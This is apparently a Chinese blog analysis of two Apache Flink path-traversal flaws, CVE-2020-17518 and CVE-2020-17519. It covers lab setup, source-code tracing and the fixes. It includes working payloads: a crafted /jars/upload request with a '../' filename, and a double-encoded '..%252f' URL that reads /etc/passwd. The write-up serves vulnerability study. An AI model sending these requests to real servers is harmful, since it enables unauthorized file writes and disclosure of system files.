如何进行Apache Flink CVE-2020-17518、17519的漏洞分析
这期内容当中小编将会给大家带来有关如何进行Apache Flink CVE-2020-17518、17519的漏洞分析，文章内容丰富且以专业的角度为大家分析和叙述，阅读完这篇文章希望大家可以有所收获。
环境
已有漏洞环境的盆友可越过这节，直接看漏洞部分。
JDK装好
Flink安装包地址：https://archive.apache.org/dist/flink/flink-1.11.2/
为同时满足两个漏洞环境，这里安装1.11.2版本
解压缩
# tar -zxvf flink-1.11.2-bin-scala_2.11.tgz
修改配置文件conf/flink-conf.yaml，中jobmanager.rpc.address参数为本地服务器IP地址
jobmanager.rpc.address: 192.168.18.169
添加远程调试参数
# jobmanager debug端口env.java.opts.jobmanager: "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5006"# taskmanager debug端口env.java.opts.taskmanager: "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
启动Flink服务
# cd bin# ./start-cluster.sh
看看开放了哪些端口：5005、5006是配置的debug端口，8081是webUI访问端口，6123是JobMamanger进行RPC通信的端口
访问服务
停止Flink服务
flink启动会把启动的进程的ID存到一个文件中，相关配置在bin/config.sh 文件中，默认是"/tmp"，由于是临时目录，会被系统清理，存放的进程ID就找不到了，也就没法关闭集群了。
直接执行关闭指令，会发现关闭不了
怎么做？
新建一个目录 /usr/local/flink-1.11.2/tmp 来存放启动的进程的ID
修改 bin/config.sh 文件，为DEFAULT_ENV_PID_DIR 参数指定为新建的路径
DEFAULT_ENV_PID_DIR="/usr/local/flink-1.11.2/tmp"
重新执行关闭指令：
# ./stop-cluster.sh
远程调试
上文远程Flink服务的配置文件 flink-conf.yaml 中已经配好了远程调试参数，开启了5005、5006调试端口。
本地IDEA打开目标版本源码，这里是1.11.2，创建Remote配置，指定Host和Port，这里调试 jobmanager，选择对应的端口。
开启远程调试
CVE-2020-17518
Flink 在 1.5.1 版本中引入了一个 REST handler，这允许攻击者将已上传的文件写入本地任意位置的文件中，并且可通过一个恶意修改的 HTTP 头将这些文件写入到 Flink 1.5.1 可以访问的任意位置。
影响范围：1.5.1 <= Apache Flink <= 1.11.2
快速复现
利用一：文件上传
编辑请求数据包，上传 /tmp/veraxy 文件
POST /jars/upload HTTP/1.1Host: 192.168.18.169:8081User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------13247690941547071692111317477Content-Length: 248Origin: http://192.168.18.169:8081Connection: closeReferer: http://192.168.18.169:8081/-----------------------------13247690941547071692111317477Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/veraxy"Content-Type: text/plainVeraxy!!!-----------------------------13247690941547071692111317477-
2. 利用二：文件覆盖
若上传路径已有文件，将覆盖其内容。
分析
查看该漏洞相关邮件，已经指出commit地址
移步commit，提出是上传功能的校验问题，并指出这里会提供两个测试案例
测试代码再次给出提示，修改文件名添加 ../
我们找到系统的上传功能
传个测试文件，是 /jars/upload 接口
官方文档对该接口的使用说明
在处理上传路径的地方打断点
获取filename
resolve()解析方法接收filename，与系统路径拼接
dest存储拼接后上传路径，传给 fileUpload.renameTo()方法
上传文件，并重命名保存至另一个路径以做缓存
缓存文件存在时间很短，只有30s
此时系统已按目标路径写入文件
新版本修复
对上传路径做了处理
org.apache.flink.runtime.rest.FileUploadHandler#channelRead0() 对传入的filename进行截断，只取末尾的文件名，传递的../ 和目录名 均被忽略
resolve()方法接收到的文件名只有结尾部分，与系统路径拼接后返回
赋值给dest路径变量，执行重命名缓存行为并上传文件
CVE-2020-17519
Apache Flink 1.11.0中引入的更改（包括1.11.1和1.11.2）允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。
影响范围：Apache Flink 1.11.0、1.11.1、1.11.2
快速复现
遍历文件 /etc/passwd
http://192.168.18.171:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
分析
查看该漏洞相关邮件，同样指出commit地址
移步commit，细节描述的很清晰了，指出通过二次编码后的 '..%252f' 来替换 '../' 可以遍历logs文件夹的目录结构，比如："/jobmanager/logs/..%252f/README.txt" 将返回README.txt的内容
文档找一下/jobmanager/logs 接口说明
发送请求
http://192.168.18.169:8081/jobmanager/logs/..%252f..%252f..%252f..%252fetc%252fpasswd
系统接收请求，对request进行解析，初始化HandlerRequest对象
routedRequest.getRouteResult()获取result，decodedPath为一次解码后，pathParams存放二次解码后结果
将HandlerRequest传递给org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile，获取pathParams中存放的filename，拼接logDir返回路径。
读取文件内容作为响应。
不懂就问
routedRequest.getRouteResult()获取的result是如何初始化的？包括其中的解码流程。
回溯到org.apache.flink.runtime.rest.handler.router.RouterHandler#channelRead0()，这里routeResult为后面routedRequest中this.result原型，看routeResult如何初始化
url一次解码的地方，赋值给this.path返回
将method、path、queryParameters传送给router.route()方法来初始化一个routeResult对象
其中decodePathTokens(path)将path进行了二次解码，与此同时会判断路径中的"/"并截断，我们传入"/"的编码形式免于拦截，随后的for循环中再次进行解码，成功返回一个正常路径。
新版本修复
跟17518修复方式一致，通过 File.getName()只取末尾文件名
org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile方法，
路径中的 ../和目录名都被忽略，filename只剩下了文件名
Apache Flink 服务大多开放在内网，漏洞影响面不算太大，但大数据时代随着该应用的使用量日益增多，其漏洞还是值得重视的。
上述就是小编为大家分享的如何进行Apache Flink CVE-2020-17518、17519的漏洞分析了，如果刚好有类似的疑惑，不妨参照上述分析进行理解。如果想知道更多相关知识，欢迎关注行业资讯频道。
